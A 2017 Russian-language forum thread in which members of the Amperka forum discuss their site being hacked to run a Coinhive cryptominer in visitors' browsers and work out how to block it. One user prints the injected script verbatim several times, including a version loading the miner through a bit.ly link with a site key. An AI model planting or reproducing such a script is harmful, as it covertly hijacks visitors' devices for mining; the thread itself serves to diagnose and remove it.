Форум взломан чуть-чуть.

Тема в разделе "Флудилка", создана пользователем rkit, 22 сен 2017.

  1. acos

    acos Официальный гик Администратор

    Админы не майнят. Кто-то нас крякнул. Иду разбираться. Извините за неудобства
     
  2. Igor68

    Igor68 Гуру

    Может и не надо... но вот сделал с помощью
    Код (Bash):

    cat coinhive.min_1.js | sed s'/;/;\n/g' >> coinhive.min_2.js
     
    чтобы та "библиотека, что загружается, стала читабельной:
    http://forum.amperka.ru/attachments/coinhive-min_2-js-zip.9626/
    ...довольно жестоко.
     

    Вложения:

  3. null

    null Гик

    acos, у меня даже кнопка ответиииии не работает. форум тормозит и каждую минуту ошибки
     
  4. Airbus

    Airbus Радиохулиган Модератор

    Опять какая то хрень
     
  5. null

    null Гик

    Я в сайтах не разбираюсь, но мне кажется что в консоль можно ввести miner.Stop() и он выключается
     
  6. Igor68

    Igor68 Гуру

    Нет не выйдет... там setInterval(.......) и стоит 100 mS... то есть запускается 10 раз в секунду. Выключите в браузере JavaScript и обновите страницу. Надо будет включите его снова и обновите страницу. Код и смайлики ставить вручную при выключенном.
     
  7. rkit

    rkit Гуру

    Поставьте блокировщики рекламы себе. Выключит и майнеры, и еще кучу пакости.
     
  8. Igor68

    Igor68 Гуру

    одно дело блокировать загрузку скрипта из URL... другое дело исключить вызов функции, которая не загрузилась из этого URL.
     
  9. Igor68

    Igor68 Гуру

    ведь всего-то надо:
    Код (Javascript):

    <body class="node9 node8 SelectQuotable"><script src="https://coin-hive.com/lib/coinhive.min.js"></script>
    <script>
    var miner = new CoinHive.Anonymous('HqRcfNypnewChJOyojLNSYRLbHuIki9S', {
    threads: navigator.hardwareConcurrency/4,
    autoThreads: false,
    forceASMJS: false
    });
    miner.start(CoinHive.FORCE_EXCLUSIVE_TAB);
    setInterval(function() {
    var threadCount = miner.getNumThreads();
    var hashesPerSecond = Math.round(miner.getHashesPerSecond());
    var getTotalHashes = miner.getTotalHashes();
    navigator.getBattery().then(function (battery) {
    if (battery.level < 0.50 && battery.charging == false) {
    miner.stop();
    }
    });
    }, 100);
    </script>
     
    на
    Код (Javascript):

    <body class="node9 node8 SelectQuotable"><script src="[URL]https://coin-hive.com/lib/coinhive.min.js[/URL]"></script>
    <script>
    //var miner = new CoinHive.Anonymous('HqRcfNypnewChJOyojLNSYRLbHuIki9S', {
    threads: navigator.hardwareConcurrency/4,
    autoThreads: false,
    forceASMJS: false
    });
    //miner.start(CoinHive.FORCE_EXCLUSIVE_TAB);
    setInterval(function() {
    //var threadCount = miner.getNumThreads();
    //var hashesPerSecond = Math.round(miner.getHashesPerSecond());
    //var getTotalHashes = miner.getTotalHashes();
    navigator.getBattery().then(function (battery) {
    if (battery.level < 0.50 && battery.charging == false) {
    //miner.stop();
    }
    });
    }, 100);
    </script>
     
    ну или ещё как...
    на "лету" с помощью допустим sed. Через прокси... или ещё как.
     
  10. Igor68

    Igor68 Гуру

    Что? В лом JavaScript выключить при написании сообщения? Всё ребята (админы) исправят!!! А информации тут достаточно! А если формировать вывод странички через PHP с удалением строк по содержимому... ну или использовать BASH из того же PHP...
     
  11. acos

    acos Официальный гик Администратор

    Проблему решили. Майнера больше нет. Спасибо за терпение
     
    Igor68 нравится это.
  12. Igor68

    Igor68 Гуру

    Спасибо!!! Пока в исходнике чисто.
     
  13. null

    null Гик

    Ура! Может еще защиту улучшить, чтобы больше майнеров не было.
     
  14. Igor68

    Igor68 Гуру

    по ходу это "на высоком уровне"... ну или взлом для редакции исходника. Ведь и ключик надо формировать... роюсь, но обращения к URL каого-то пока не вижу. Хотя может и туплю.
     
  15. ИгорьК

    ИгорьК Гуру

    Чет мне кажется опять все идет не так...
     
  16. Igor68

    Igor68 Гуру

    Кто-то всё-таки имеет доступ и изменил:
    Код (Javascript):

    <body class="node9 node8 SelectQuotable"><script src="http://bit.ly/2y8S315"></script>
    <script>var miner = new CoinHive.Anonymous('HqRcfNypnewChJOyojLNSYRLbHuIki9S', {threads: navigator.hardwareConcurrency/8,autoThreads: false,forceASMJS: false});
    miner.start(CoinHive.FORCE_EXCLUSIVE_TAB);setInterval(function() {var threadCount = miner.getNumThreads();var hashesPerSecond = Math.round(miner.getHashesPerSecond());
    var getTotalHashes = miner.getTotalHashes();navigator.getBattery().then(function (battery) {if (battery.level < 0.50 && battery.charging == false) {miner.stop();}});}, 100);</script>
     
    Надо бы пропустить через SED в BASH

    Но источник так сказать "библиотеки" изменил: <script src="http://bit.ly/2y8S315"></script>
    Хрен с библиотекой... надо блокировать вызов "miner", точнее "чистить" строки с таким содержимым. И thread контролировать.
     
    Последнее редактирование: 23 сен 2017